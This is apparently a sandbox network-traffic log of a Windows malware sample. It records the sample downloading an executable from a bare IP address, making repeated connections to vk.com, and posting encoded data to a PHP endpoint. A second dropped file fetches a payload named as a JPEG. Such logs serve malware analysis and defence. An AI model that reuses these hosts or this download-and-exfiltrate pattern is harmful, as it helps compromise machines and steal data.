Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:06.187995911 CEST	208	OUT	GET /vape/niko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 147.45.47.149:54674 Cache-Control: no-cache
May 24, 2024 09:42:06.889765978 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Fri, 24 May 2024 03:40:03 GMT Accept-Ranges: bytes ETag: "b758cef8cadda1:0" Server: Microsoft-IIS/10.0 Date: Fri, 24 May 2024 07:42:06 GMT Content-Length: 3147776 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 7c 03 00 00 00 00 00 f4 25 b5 00 00 10 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j.s.s.sep%sevset/sy*syw=syp4syvusew6seu/ser5s.rszz2sz/s./szq/sRich.sPELiLf'\|%@@@ PP(_`40PP<@@@PPB@ J@bJ@.rsrc `@@y(@.data " "@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49763	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:06.711992025 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cd ad d0 0e 74 0d 2c af b9 58 1c a1 b7 ba a5 e0 f6 dd a2 86 a6 32 d6 34 c7 68 6c 11 f3 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDt,X24hl&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:07.399183989 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:07 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:06.806097984 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 44 cd 07 86 cc 97 6e fc 71 f8 b3 cd 75 88 5a 6b 5d 48 55 a4 42 31 4b a3 c2 ed 78 fd 15 88 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fPDnquZk]HUB1Kx&,+0/$#('=<5/Lvk.com#
May 24, 2024 09:42:07.429878950 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:07 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49765	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:07.582168102 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 ce 77 70 7e 7b 41 52 2d 93 da 15 f0 1a 84 f2 a5 ce 96 b2 86 36 9b 14 e4 72 ee 9b 78 cf 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPDwp~{AR-6rx5/.vk.com#
May 24, 2024 09:42:08.242573023 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:07.703994036 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 ce 0e 6b eb 12 26 bd 02 34 53 98 0a 09 ce 7b 06 9a d2 c5 c4 b1 3e 08 13 fe f8 08 e6 56 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPDk&4S{>V5/.vk.com#
May 24, 2024 09:42:08.281213999 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:08.263006926 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 cf 22 64 b9 60 3b e7 b2 92 86 2a 48 07 f5 a0 d2 13 11 23 a4 95 47 f3 dd b1 04 fb 35 32 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPD"d`;*H#G525/.vk.com#
May 24, 2024 09:42:08.951302052 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:08.301148891 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 cf 46 ce 8d a0 c7 24 75 e1 28 9f 03 08 e4 16 cb 9c 3c 98 e1 01 78 87 9e 67 b1 0a a8 68 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPDF$u(<xgh5/.vk.com#
May 24, 2024 09:42:08.991530895 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:08 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49772	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:09.025825977 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 d0 cf 1b 45 d2 17 ea 92 ce ab 04 8b 23 43 16 3d d2 77 a0 f6 72 da e2 6c ef 7e 88 77 0b 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPDE#C=wrl~w5/.vk.com#
May 24, 2024 09:42:09.648655891 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:09 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49773	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:09.026046991 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 d0 e2 14 23 e8 e2 9e fa 86 27 e5 d6 f1 5b 2d 57 3c 98 71 f2 6c ad 0c f5 d7 48 d2 38 ae 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPD#'[-W<qlH85/.vk.com#
May 24, 2024 09:42:09.691481113 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:09 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49774	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:09.657136917 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 d0 64 92 fa ad ca f8 db d5 14 16 ad 87 47 bb 0d 3c 3f 27 0b 22 83 c7 af 84 ef 96 ed a0 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPDdG<?'"5/.vk.com#
May 24, 2024 09:42:10.344048023 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:10 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49775	93.186.225.194	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:09.701225042 CEST	110	OUT	Data Raw: 16 03 01 00 69 01 00 00 65 03 01 66 50 44 d0 ff bb a2 d9 ad 0d c9 66 9b 64 eb d5 89 80 bd 61 35 86 c6 94 42 f2 97 ce e1 f5 61 e9 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 2e 00 00 00 0b 00 09 00 00 06 76 6b 2e 63 6f 6d 00 0a 00 Data Ascii: iefPDfda5Ba5/.vk.com#
May 24, 2024 09:42:10.377850056 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 07:42:10 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49804	85.192.56.26	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:19.961875916 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 689 Host: 85.192.56.26
May 24, 2024 09:42:19.961935043 CEST	689	OUT	Data Raw: 64 61 74 61 3d 59 6a 64 54 4c 50 68 79 62 79 77 65 6b 70 76 5f 61 6c 78 69 71 44 67 58 6d 53 5a 64 41 59 63 6f 71 6e 66 57 73 61 34 69 64 33 75 4e 5f 52 65 46 7a 62 6b 5f 7a 6c 48 42 34 6d 71 35 38 72 4d 69 77 30 70 44 4f 43 65 46 53 46 47 55 57 Data Ascii: data=YjdTLPhybywekpv_alxiqDgXmSZdAYcoqnfWsa4id3uN_ReFzbk_zlHB4mq58rMiw0pDOCeFSFGUWwxlWlj1qAOA7hYArcPd1i7ssB3i5-oOihLZ5eryUfwiZ_afXfbNScXRw_cgPt2lpZxausd_9AcsaKKQsXw4lPtRECCHPT3LNE5OuOK9uGmczWvMpZLHtPa1LjwaiW7J3xo2v07tgLE0pTVQm2Fk-ncUm4tqg-VuP6
May 24, 2024 09:42:22.316787004 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4b 79 34 4b 7a 6d 54 41 65 6c 44 73 70 51 43 58 69 61 39 33 39 5a 77 62 36 4e 53 78 6a 75 37 52 76 54 54 4a 56 2b 31 68 57 68 35 74 65 54 43 74 6b 45 36 68 51 44 4c 4a 4f 6f 77 36 4c 66 42 72 6b 75 79 64 63 56 53 4c 4e 48 72 64 76 69 57 6e 4f 51 2f 47 76 6b 46 4d 2b 4c 64 49 50 76 37 76 35 48 57 6c 54 76 2f 64 67 34 3d Data Ascii: VKy4KzmTAelDspQCXia939Zwb6NSxju7RvTTJV+1hWh5teTCtkE6hQDLJOow6LfBrkuydcVSLNHrdviWnOQ/GvkFM+LdIPv7v5HWlTv/dg4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49805	85.192.56.26	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:20.067735910 CEST	271	OUT	POST /api/flash.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 261 Host: 85.192.56.26
May 24, 2024 09:42:20.067758083 CEST	261	OUT	Data Raw: 64 61 74 61 3d 58 57 30 48 79 56 36 4f 63 58 71 48 38 33 2d 52 59 61 31 4f 74 4c 62 4c 52 4e 36 63 54 59 33 69 37 66 76 33 58 57 5f 57 7a 4f 35 58 4e 33 4a 47 4f 4c 33 35 36 50 39 65 2d 70 48 4e 78 38 53 44 73 59 57 6a 38 46 61 4d 4f 75 6e 7a 4c Data Ascii: data=XW0HyV6OcXqH83-RYa1OtLbLRN6cTY3i7fv3XW_WzO5XN3JGOL356P9e-pHNx8SDsYWj8FaMOunzLfRHYFRFiLcxElKr1B0JFX77xOPTqmlSX-PN9cdax9GcCkVvezHgmnDtmKJYwhPpd8OWGEy607xPODg-DklLs2k-yn0j8CugWQ4ykc9QfzbpDurjOuBm4RJRo-n4kG0mNSc_EBLskEBpi8i4n_6t-FOr9GcvR-yzjG
May 24, 2024 09:42:20.937535048 CEST	363	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 37 65 62 66 6c 49 42 55 7a 6d 44 49 6f 6f 6f 31 58 58 4f 56 67 44 50 37 31 6d 62 75 4d 47 78 74 69 6d 6b 62 39 35 47 39 77 56 51 41 45 43 76 32 76 35 74 78 7a 75 75 75 77 46 77 37 72 61 32 78 6f 58 49 46 76 78 45 73 75 4c 41 2f 6f 4f 4d 39 6f 45 4b 41 51 35 6b 32 46 33 2f 62 69 54 68 70 4c 65 32 30 48 34 34 35 59 68 63 3d Data Ascii: 7ebflIBUzmDIooo1XXOVgDP71mbuMGxtimkb95G9wVQAECv2v5txzuuuwFw7ra2xoXIFvxEsuLA/oOM9oEKAQ5k2F3/biThpLe20H445Yhc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49807	103.146.158.221	80	1028	C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:22.706362009 CEST	103	OUT	GET /xxxxxxxx.jpg HTTP/1.1 User-Agent: HTTPREAD Host: sta.alie3ksgee.com Cache-Control: no-cache
May 24, 2024 09:42:23.600224972 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:23 GMT Content-Type: image/jpeg Content-Length: 389194 Last-Modified: Wed, 22 May 2024 07:48:26 GMT Connection: keep-alive ETag: "664da34a-5f04a" Expires: Sun, 23 Jun 2024 07:42:23 GMT Cache-Control: max-age=2592000 Accept-Ranges: bytes Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 05 a0 04 38 03 00 11 00 01 11 01 02 11 01 ff c4 00 1d 00 00 01 05 01 01 01 01 00 00 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 ff c4 00 63 10 00 01 03 02 03 05 03 06 0b 04 06 05 08 07 03 0d 01 00 02 03 04 11 05 12 21 06 13 22 31 41 07 32 51 14 23 42 52 61 71 33 62 72 81 82 91 92 a1 a2 b1 c1 08 15 b2 d1 24 34 43 53 c2 d2 16 63 a3 e1 f0 17 25 73 83 93 b3 e2 f1 26 35 44 54 64 a4 c3 27 36 45 55 65 74 94 f2 d3 09 37 46 84 85 a5 b4 ff c4 00 1c 01 00 03 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 [TRUNCATED] Data Ascii: JFIFCC8c!"1A2Q#BRaq3br$4CSc%s&5DTd'6EUet7F>!1A"2Qa#3qB$4CDRrb?{e#y\|,Pb?'(+#B:,9=o5,bM:,rPw<C1&lPOrPrZP,My",@XoD@;: ,$Pppg:<;8B.),a !!0rPfOto'[o`h4m\|,G<<0@?F*R7Sde@_@jFGy,{0X6h7EwFrnlYpoj`T.Y]7mJag@,<LTDRauBS\+><{N8rAG#nF\|#.;Bsn6a\|5dg\|w4}I\|S>
May 24, 2024 09:42:23.601290941 CEST	1236	IN	Data Raw: 7f c8 ea fd fb 61 52 57 3b 7e 67 dd db 79 1e 49 34 5f 29 97 b7 b7 bf 29 b5 ed a1 c3 28 76 bb 77 b3 15 a6 d4 d5 b1 b5 91 ce ce fc 0f cb de 5d 32 e8 6b 7d 3e 50 ed f3 b2 dc 5e b2 9e a3 7c 08 da 3d 9e 63 a3 75 c7 f5 aa 56 97 0e 1f 8d e9 37 e9 b5 7d Data Ascii: aRW;~gyI4_))(vw]2k}>P^\|=cuV7}&I~#_;AL[;[qpi?nl5Gx1h5-c*PWrpUcwXF VU>L.}{hkplMZZF9,>}=/h60=
